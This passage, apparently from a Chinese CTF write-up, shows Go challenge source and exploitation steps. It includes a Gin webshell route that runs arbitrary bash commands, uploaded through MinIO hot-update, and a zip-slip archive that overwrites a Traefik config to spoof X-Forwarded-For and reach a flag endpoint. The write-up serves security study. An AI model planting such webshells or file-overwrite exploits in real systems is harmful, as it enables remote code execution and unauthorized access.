		Endpoint:  conf.MinioEndpoint,
		AccessKey: conf.MinioAccessKey,
		SecretKey: conf.MinioSecretKey,
	}
	overseer.Run(overseer.Config{
		Program: program,
		Fetcher: fetcher,
	})
}
 
func program(state overseer.State) {
	g := gin.Default()
 
	// Serve static files
	g.StaticFS("/", gin.Dir(".", true))
 
	// Start Gin server
	g.Run(":8080")
}

没什么思路，拷打 deepseek

结合配置文件突然来了灵感

由于是热更新机制，所以可以覆盖这个 update 为恶意 elf 文件，我只需要在本地修改源码，再编译通过 minio client 传上去不就可以 rce 了吗？加一个 webshell 路由即可

// Add POST /shell route to execute shell commands
g.POST("/shell", func(c *gin.Context) {
    cmd := c.PostForm("cmd") // Get the shell command from the form data
    output, err := exec.Command("/bin/bash", "-c", cmd).CombinedOutput() // Execute the command
 
    if err != nil {
        // If there's an error executing the command, return the error message
        c.String(500, fmt.Sprintf("Error: %s", err.Error()))
    } else {
        // If the command executes successfully, return the output
        c.String(200, string(output))
    }
})

第一次做出 go 的题，很有成就感

0x06 n1 junior 2025 traefik

有了上一题的基础，这个题思路来的很快，先看一下源码

package main
 
import (
	"archive/zip"
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
	"strings"
 
	"github.com/gin-gonic/gin"
	"github.com/google/uuid"
)
 
const uploadDir = "./uploads"
 
func unzipSimpleFile(file *zip.File, filePath string) error {
	outFile, err := os.Create(filePath)
	if err != nil {
		return err
	}
	defer outFile.Close()
 
	fileInArchive, err := file.Open()
	if err != nil {
		return err
	}
	defer fileInArchive.Close()
 
	_, err = io.Copy(outFile, fileInArchive)
	if err != nil {
		return err
	}
	return nil
}
 
func unzipFile(zipPath, destDir string) error {
	zipReader, err := zip.OpenReader(zipPath)
	if err != nil {
		return err
	}
	defer zipReader.Close()
 
	for _, file := range zipReader.File {
		filePath := filepath.Join(destDir, file.Name)
		if file.FileInfo().IsDir() {
			if err := os.MkdirAll(filePath, file.Mode()); err != nil {
				return err
			}
		} else {
			err = unzipSimpleFile(file, filePath)
			if err != nil {
				return err
			}
		}
	}
	return nil
}
 
func randFileName() string {
	return uuid.New().String()
}
 
func main() {
	r := gin.Default()
	r.LoadHTMLGlob("templates/*")
 
	r.GET("/flag", func(c *gin.Context) {
		xForwardedFor := c.GetHeader("X-Forwarded-For")
 
		if !strings.Contains(xForwardedFor, "127.0.0.1") {
			c.JSON(400, gin.H{"error": "only localhost can get flag"})
			return
		}
 
		flag := os.Getenv("FLAG")
		if flag == "" {
			flag = "flag{testflag}"
		}
 
		c.String(http.StatusOK, flag)
	})
 
	r.GET("/public/index", func(c *gin.Context) {
		c.HTML(http.StatusOK, "index.html", nil)
	})
 
	r.POST("/public/upload", func(c *gin.Context) {
		file, err := c.FormFile("file")
		if err != nil {
			c.JSON(400, gin.H{"error": "File upload failed"})
			return
		}
 
		randomFolder := randFileName()
		destDir := filepath.Join(uploadDir, randomFolder)
 
		if err := os.MkdirAll(destDir, 0755); err != nil {
			c.JSON(500, gin.H{"error": "Failed to create directory"})
			return
		}
 
		zipFilePath := filepath.Join(uploadDir, randomFolder+".zip")
		if err := c.SaveUploadedFile(file, zipFilePath); err != nil {
			c.JSON(500, gin.H{"error": "Failed to save uploaded file"})
			return
		}
 
		if err := unzipFile(zipFilePath, destDir); err != nil {
			c.JSON(500, gin.H{"error": "Failed to unzip file"})
			return
		}
 
		c.JSON(200, gin.H{
			"message": fmt.Sprintf("File uploaded and extracted successfully to %s", destDir),
		})
	})
 
	r.Run(":8080")
}

文件上传没有什么过滤，可以构造一下压缩包覆盖任何文件，注意到 flag 路由，以为只是简单的 http 头部注入，测试了半天发现，flag 路由一直显示 404，我以为是题目坏了，后来才发现他用了 traefik 中间件做了代理。

这里没有注册 flag 路由，并且 http 头部信息不会返回到后端，所以思路就是覆盖这个文件，修改一下配置，注意这个文件的位置

构造一下配置文件

http:
  services:
    proxy:
      loadBalancer:
        servers:
          - url: "http://127.0.0.1:8080"
  routers:
    index:
      rule: Path(`/public/index`)
      entrypoints: [web]
      service: proxy
      middlewares: [force-localhost]  # 应用中间件
    upload:
      rule: Path(`/public/upload`)
      entrypoints: [web]
      service: proxy
      middlewares: [force-localhost]  # 应用中间件
    flag:
      rule: Path(`/flag`)
      entrypoints: [web]
      service: proxy
      middlewares: [force-localhost]  # 应用中间件
  middlewares:
    force-localhost:
      headers:
        customRequestHeaders:
          X-Forwarded-For: "127.0.0.1"  # 强制设置 X-Forwarded-For

构造一下压缩包

mkdir -p ../../.config
cd ../../.config
vim dynamic.yml #用echo也行
zip -r 1.zip ../../.config/dynamic.yml

上传完压缩包访问 flag 路由就可以了

0x07 总结

对于热部署的 web 服务，可以直接覆盖主脚本（app.py、app.js、main.go…)

而对于非热部署的 web 服务，可以考虑覆盖动态加载的文件（模板文件、配置文件…）